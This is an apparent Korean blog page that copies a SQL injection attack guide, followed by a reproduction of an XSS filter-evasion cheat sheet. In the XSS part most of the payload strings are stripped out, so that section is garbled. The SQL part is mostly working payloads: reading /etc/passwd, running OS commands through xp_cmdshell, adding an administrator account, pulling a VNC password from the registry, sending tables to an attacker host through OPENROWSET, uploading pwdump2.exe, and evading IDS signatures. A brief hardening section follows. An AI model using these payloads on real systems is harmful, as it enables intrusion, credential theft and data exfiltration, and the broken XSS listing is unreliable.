'; insert into

OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',

'select * from mydatabase..table1')

select * from database..table1 --

'; insert into

OPENROWSET('SQLoledb',

'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',

'select * from mydatabase..table2')

select * from database..table2 --

 


 

5) OS Interaction

OS Interaction에는 두 가지 방법이 있는데, 명령어를 읽기/실행 가능성은 DB엔진과 DB 설정에 달려있다. 두 가지 경우모두 권한이 DB 엔진 관리자에게 제한 되어있다. 만약 우리가 파일을 읽기/쓰기 가능하면, 우리는 패스워드와 설정 정보가 들어 있는 DB파일을 변경 할 수 있다. 또한 우리가 OS 명령어를 실행 할 수 있으면, 무엇이든지 할 수 있다.

 

a) MySQL OS Interaction

 

i. LOAD_FILE

' union select 1,load_file('/etc/passwd'),1,1,1;

 

 


 

ii. LOAD DATA INFILE

create table temp( line blob );

load data infile '/etc/passwd' into table temp;

select * from temp;

 

 

 

 


 

iii. SELECT INTO OUTFILE

 

b) MS SQL OS Interaction

'; exec master..xp_cmdshell 'ipconfig > test.txt' --

'; CREATE TABLE tmp (txt varchar(8000));  BULK INSERT tmp FROM 'test.txt' --

'; begin declare @data varchar(8000) ; set @data='| ' ; select @data=@data+txt+' | ' from tmp where txt<@data ; select @data as x into temp end --

' and 1 in (select substring(x,1,256) from temp) --

'; declare @var sysname; set @var = 'del test.txt'; EXEC master..xp_cmdshell @var; drop table temp; drop table tmp --

 


 

▪ 웹 서버에서 DB에 접근 하는 구조

대부분의 경우 웹 서버와 DB서버는 같지 않고, DB서버는 Internet에 연결 되어 있지 않아도 애플리케이션 서버를 통해서 명령을 실행 할 수 있다.

 

 

 

 

 


▪ 네트워크 연결에 접근

i. 서버 이름을 에러 메시지로 출력하기

' and 1 in (select @@servername ) --

' and 1 in (select srvname from master..sysservers ) --

 

 

 


 

ii. Reverse lookups를 통해서 IP 정보 수집하기

'; exec master..xp_cmdshell 'nslookup a.com MyIP' --

 

 


 

iii. Revers ping을 통해서 IP 정보 수집하기

'; exec master..xp_cmdshell 'ping MyIP' --

 

 

 

 

iv. OPENROWSET

'; select * from OPENROWSET( 'SQLoledb', 'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=MyIP,80;',
'select * from table')

 

 

 

 

▪ 네트워크 예비 점검

i. 확장 프로시저 xp_cmdshell를 이용하여 아래의 명령을 실행

Ipconfig /all

Tracert  myIP

arp -a

nbtstat -c

netstat -ano

route print

 

 

 

 

 

 

 

 

ii. 네트워크 예비 점검 전체 Query

'; declare @var varchar(256); set @var = ' del test.txt && arp -a >> test.txt && ipconfig /all >> test.txt && nbtstat -c >> test.txt && netstat -ano >> test.txt && route print >> test.txt && tracert -w 10 -h 10 google.com >> test.txt'; EXEC master..xp_cmdshell @var --

'; CREATE TABLE tmp (txt varchar(8000));  BULK INSERT tmp FROM 'test.txt' --

'; begin declare @data varchar(8000) ; set @data=': ' ; select @data=@data+txt+' | ' from tmp where txt<@data ; select @data as x into temp end --

' and 1 in (select substring(x,1,255) from temp) --

'; declare @var sysname; set @var = 'del test.txt'; EXEC master..xp_cmdshell @var; drop table temp; drop table tmp --

 


 

 

6) OS 명령 프롬프트

i. OS로 점프하기

Linux based MySQL

' union select 1, (load_file('/etc/passwd')),1,1,1;

MS SQL Windows Password Creation

'; exec xp_cmdshell 'net user /add victor Pass123'--

'; exec xp_cmdshell 'net localgroup /add administrators victor' --

Starting Services

'; exec master..xp_servicecontrol 'start','FTP Publishing' --

 

 

 

 

 

 

 

 

 


 

ii. ActiveX 자동 스크립트 이용

Speech example

'; declare @o int, @var int                                    
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'x', 'x'
exec sp_oasetproperty @o, 'speed', 150            
exec sp_oamethod @o, 'speak', NULL, 'warning, your sequel server has been hacked!', 1
waitfor delay '
00:00:03' --

 


 

iii. 레지스트리로부터 VNC 패스워드 찾기

'; declare @out binary(8)
exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\ORL\WinVNC3\Default', @value_name='Password',
@value = @out output
select cast(@out as bigint) as x into TEMP--

' and 1 in (select cast(x as varchar) from temp) --

 

 

 

 

 

 

 

 

 


 


7) 확장된 효과

▪ 다른 DB서버에 연결 하기

 

i. MS SQL에 링크된 서버를 찾기

select * from sysservers

 

 

 

 

 

ii. OPENROWSET 명령을 사용하여 쉽게 다른 서버를 접근 할 수 있다.

 

iii. 같은 전략으로 OPENROWSET을 이용한 리버스 연결로 쉽게 접근 할 수 있다.

 

▪ 링크된 서버에도 접속이 가능하다.

'; insert into

OPENROWSET('SQLoledb',

'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',

'select * from mydatabase..hacked_sysservers')

select * from master.dbo.sysservers

'; insert into

OPENROWSET('SQLoledb',

'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',

'select * from mydatabase..hacked_linked_sysservers')

select * from LinkedServer.master.dbo.sysservers

'; insert into

OPENROWSET('SQLoledb',

'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',

'select * from mydatabase..hacked_linked_sysdatabases')

select * from LinkedServer.master.dbo.sysdatabases

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 


 

▪ 저장된 프로시저를 통한 원격 접속 실행

만약에 원격 서버에 저장된 프로시저 실행이 허용되어 있다면 가능할 것이다.

insert into

OPENROWSET('SQLoledb',

'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select *

from mydatabase..hacked_sysservers')

exec Linked_Server.master.dbo.sp_executesql N'select * from master.dbo.sysservers'

insert into

OPENROWSET('SQLoledb',

'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select * from

mydatabase..hacked_sysdatabases')

exec Linked_Server.master.dbo.sp_executesql N'select * from

master.dbo.sysdatabases'

 

 

 

 

 

 

 

 

 

 

 

 

 

 


 

Reverse 연결을 통한 파일 업로드

'; create table AttackerTable (data text) --

'; bulk insert AttackerTable --
from 'pwdump2.exe' with (codepage='RAW')

'; exec master..xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo','  MySrvAlias','REG_SZ','DBMSSOCN, MyIP, 80' --

'; exec xp_cmdshell 'bcp "select * from AttackerTable" queryout pwdump2.exe -c -Craw -SMySrvAlias -Uvictor -PPass123' --

 


 

SQL Injection 통한 파일 업로드

만약 DB서버가 인터넷 연결이 되지 않더라도, 여전히 파일은 업로드 될 수 있다. 그러나 파일은 반드시 16진수 그리고 Query 문자의 일부로 보내어 져야만 한다. 파일은 반드시 각 4000 byte로 나누어 져야 한다.

 

) 간단한 SQL Injection 파일 업로드

Step 1. 먼저 원격에서 hex를 binary로 변환 해줄 프로시저가 injection되어야 한다.

Step 2. 다음 binary를 hex 조각으로 Injection 해야 한다.

 

' declare @hex varchar(8000), @bin varchar(8000) select @hex = '4d5a900003000…
← 8000개의  hex 문자(4000byte) →…0000000000000000000
' exec master..sp_hex2bin @hex, @bin output ; insert master..pwdump2 select @bin --

 


 

Step 3. binary를 연결시키고, 파일을 디스크에 저장 할 수 있다

 

 

3 회피 기술

 

3.1 개요.

입력 값 검증 우회 그리고 IDS 우회 기술은 매우 비슷하다. Snort 기반의 SQL Injection 탐지는 부분적으로 가능하다. 그러나 이것은 “sinatures”에 의존한다. ”signatures”은 쉽게 피할 수 있다. 입력 값 검증, IDS 탐지 그리고 견고한 DB, OS 설정은 반드시 같이 사용 되어져야 한다.

 

3.2 IDS “signature” 우회

 

1) ‘OR 1=1 “signature”우회하기

 아래와 같은 문자를 삽입해서 우회 할 수 있다.

' OR 'unusual' = 'unusual'

' OR 'something' = 'some'+'thing'

' OR 'text' = N'text'

' OR 'something' like 'some%'

' OR 2 > 1

' OR 'text' > 't'

' OR 'whatever' IN ('whatever')

' OR 2 BETWEEN 1 AND 3

 

 

 

 

 

 

 

 

 


 

3.3 입력 값 검증 우회 하기

PHP addslashes() 함수를 사용하는 사람은 문자열을 벗어 날수 있다.

single quote (')

double quote (")

backslash (\)

NUL (the NULL byte)

 

 

 

 

 


 

▪ 숫자 필드에서 위의 문자로 대체 함으로써 쉽게 우회 가능하다.

 

3.4 회피와 우회

 

i. 아래의 매개변수 인코딩 방법으로 IDS, 입력 값 검증을 우회 할 수 있다.

URL encoding

Unicode/UTF-8

Hex enconding

char() function

 

 

 

 

 


 

ii. MySQL 입력 값 검증은 Char()를 사용함으로써 우회 할 수 있다.

 인용 부호를 제외한 Inject  (string = "%"):

' or username like char(37);

▪ 인용 부호를 제외한 Inject (string = "root"):

' union select * from users where login = char(114,111,111,116);

Load files을 이용한 unions 사용 (string = "/etc/passwd"):

' union select 1, (load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;

▪ 존재하는 파일을 체크(string = "n.ext"):

' and 1=( if( (load_file(char(110,46,101,120,116))<>char(39,39)),1,0));

 


 

iii. 공백을 이용한 IDS Sinature 우회

UNION SELECT Signature와 UNION[탭]SELECT signature은 다르게 인식된다

▪ 탭, 캐리지 리턴, 라인 피드, 공백이 주로 이용 된다.

▪ 몇몇 IDS 는 공백처리를 무시하므로 공백을 생략하는 것이 좋은 방법이 될 수도 있다.

'OR'1'='1' (공백 없이) 은 에러 없이 처리 되어 진다.

 

iv. 주석 처리를 이용한 IDS Signature 회피

 /* … */ 은 SQL99에서 여러 줄 을 주석 처리 할 때 사용되는 기호 이다

UNION/**/SELECT/**/

'/**/OR/**/1/**/=/**/1

▪ 여러 개의 필드에 걸친 Injection을 허용한다

USERNAME:  ' or 1/*

PASSWORD:  */ =1

 

 

 

 

 

 

 

 


 

v. 스트링 연결자를 이용한 IDS Signature 우회 

▪ 아래와 같이 텍스트 연결 할 수 있고, 특정한 DB 명령을 사용 할 수 있다.

My SQL

UNI/**/ON SEL/**/ECT

Oracle

'; EXECUTE IMMEDIATE  'SEL' || 'ECT US' || 'ER'

MS SQL

'; EXEC ('SEL' + 'ECT US' + 'ER')

 

 

 

 

 

 

 

 


 

vi. 변수를 이용하여 IDS, 입력 값 검증 우회 하기

▪ 변수를 이용

; declare @x nvarchar(80); set @x = N'SEL' + N'ECT US' + N'ER');

EXEC (@x)

EXEC SP_EXECUTESQL @x

▪ 헥사를 이용

; declare @x varchar(80); set @x = 0x73656c65637420404076657273696f6e; EXEC (@x)

위의 명령어는 (‘)를 사용하지 않았다.

 

 

 

 

 

 

 

 

 

 

 

 


 

4 SQL Injection 대응 방안

4.1 개요

간단한 방법으로 입력 값 검증은 가장 중요한 부분 중에 하나 이다. 당신은 반드시 입력 값 검증을 모든 새로운 애플리케이션에 실시해야 한다. 그리고 당신은 존재하는 코드와 웹사이트를 조사해 봐야 한다. 추가적으로 서버를 견고하게 운영해야 한다. 데이터 베이스의 데이터 접근을 저장된 프로시저를 통하여 접근하고, 저장된 프로시저를 사용할 때 매개변수화 된 API를 이용하라. 모든 입력 값 검증은 일반적인 루틴을 이용하고, 최소한의 권한을 DB 사용자 에게 적용하라.

1) 입력 값 검증

각 필드를 위한 데이터 타입의 정의 되고, 정의된 타입만 허용 되어야 한다. 그리고 입력된 값의 검증을 위해서 필터를 사용해야 한다. 알려진 Injection 문자열에 대한 필터는 철저히 구현 되여야 한다. 아래와 같은 문자열은 반드시 제거 되어야 한다.

) “"select", "insert", "update", "shutdown", "delete", "drop", "--", "'"

2) 서버를 견고하게 운영하기

1. DB 최소권한의 유저로 운영하라.

2. 사용하지 않는 저장된 프로시저와 기능들은 제거하거나 관리자에게 제한된 접근 권한을 주어라.

3. 퍼미션을 변경하고, 공개된 시스템 객체에 접근을 제거 하라.

4. 모든 사용자 계정의 패스워드를 강화 시켜라

5. 미리 승인된 서버의 링크를 제거 하라.

6. 사용하지 않는 네트워크 프로토콜을 제거하라.

7. 신뢰할 수 있는 네트워크,웹 서버, 백업 서버만 접근을 허용하라.

 

4.2 탐지 및 제한시키기

SQL Injection 시도에 대한 탐지 원한다면, SQL Injection 시도를 로그에 남기고, 이 메일로 경고장을 보내고, IP차단 하고, 올바르지 않은 에러 메시지를 보내도록 설정하라. 이것들은 검증 스크립트에 코드와 되어야 한다.

 

4.3 결론

    SQL Injection 은 매혹적이고, 아주 위험한 취약점이다. 모든 프로그램 언어 그리고 SQL DB는 잠재적인 취약점을 가지고 있다. 보호 하기 위해서는 강력한 디자인, 정확한 입력 값 검증, 견고하게 서버를 운영 해야 한다.

 

참조자료 및 문서

[1] Advanced SQL Injection, (http://www.owasp.org).

출처 osiris kisec 14th

2009/08/26 17:42 2009/08/26 17:42

다양한 XSS 방법들을 소개합니다

일반적으로 document.cookie 같은경우 대부분의 사이트에서 필터링 됩니다

이 사이트 역시 앞에 "no_"가 붙습니다

그럼 와 같은 형태는 어떻게 될까요?

아마 필터링 하기 어렵겠지요 아래예들은 이와같이 여러가지 자바스크립트들을 실행하기 위한 예들을 보여줍니다


XSS (Cross Site Scripting):

    XSS locator. Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. Use the URL encoding calculator below to encode the entire string. Tip: if you're in a rush and need to quickly check a page, often times injecting the depreciated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    XSS locator 2. If you don't have much space and know there is no vulnerable JavaScript on the page, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS verses &lt;XSS to see if it is vulnerable:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well - I'll probably revise this at a later date):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    No quotes and no semicolon:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Case insensitive XSS attack vector:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    HTML entities (the semicolons are required for this to work):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Malformed IMG tags. Originally found by Begeek (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    fromCharCode (if no quotes of any kind are allowed you can >
    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an <IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode). Use the XSS calculator for more information:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total). This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I've seen this in the wild):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string =~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). Use the XSS calculator for more information:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Embedded tab to break up the cross site scripting attack:
    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Embedded encoded tab to break up XSS. For some reason Opera does not allow the encoded tab, but it does allow the previous tab XSS and encoded newline and carriage returns below:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Embeded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details. The following four XSS examples illustrate this vector:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector) these are not spaces just one of the three characters as described above:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Null breaks up JavaScript directive. Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Null breaks up cross site scripting vector. Here is a little known XSS attack vector using null characters. You can actually break up the HTML itself using the same nulls as shown above. I've seen this vector bypass some of the most restrictive XSS filters to date:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn't take into account spaces in the word "">
    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT/XSS\s":

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Non-alpha-non-digit part 2 XSS. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this does not apply to the grave accent char as seen here:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Extraneous open brackets. Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    No closing script tags. In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Protocol resolution in script tags. This particular variant was submitted by Łukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the MIME type because the browser knows it in context of a SCRIPT tag.

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Half open HTML/JavaScript XSS vector. Unlike Firefox the IE rendering engine doesn't add extra data to your page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no close ">" tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ because it doesn't require the end ">". As a side note, this was also affective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Double open angle brackets. This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it's surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    XSS with no single quotes or double quotes or semicolons:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read <SCRIPT>var a="\\";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. The XSS locator uses this method.:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    End title tag. This is a simple XSS vector that closes <TITLE> tags, which can encapsulate the malicious cross site scripting attack:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    INPUT image:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    BODY image:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    BODY tag (I like this method because it doesn't require using any variants of "")>
    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Event Handlers that can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing). Please note I have excluded browser support from this section because each one may have different results in different browsers. Thanks to Rene Ledosquet for the HTML+TIME updates:



    IMG Dynsrc:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    IMG lowsrc:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    BGSOUND:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    & JavaScript includes (works in Netscape 4.x):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] [NS4]


    LAYER (also only works in Netscape 4.x)

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] [NS4]


    STYLE sheet:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page:

    Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Remote style sheet part 2 (this works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop. As a side note, you can remove the end </STYLE> tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Remote style sheet part 3. This only works in Opera but is fairly tricky. According to RFC2616 setting a link header is not part of the HTTP1.1 spec, however some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Remote style sheet part 4. This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefor is vulnerable to this for the vast majority of sites:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Local htc file. This is a little different than the above two cross site scripting vectors because it uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    List-style-image. Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    in an image:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Mocha (older versions of Netscape only):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] [NS4]


    (older versions of Netscape only):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] [NS4]


    US-ASCII encoding (found by Kurt Huwig). This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the host transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] [NS4]


    META (the odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    META using data: directive URL scheme. This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding. Please see RFC 2397 for more details or go here or here to encode your own. You can also use the XSS calculator below if you just want to encode raw HTML or JavaScript as it has a Base64 encoding method:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    META with additional URL parameter. If the target website attempts to see if the URL contains "http://" at the beginning you can evade it with the following technique (Submitted by Moritz Naumann):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    IFRAME (if iframes are allowed there are a lot of other XSS problems as well):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    FRAME (frames have the same sorts of XSS problems as iframes):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    TABLE (who would have thought tables were XSS targets... except me, of course):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    TD (just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    DIV background-image:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter). The original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    DIV background-image plus extra characters. I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    DIV expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression":

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov for this one):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Anonymous HTML with STYLE attribute (IE6.0 and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    IMG STYLE with expression (this is really a hybrid of the above XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like above this can send IE into a loop):

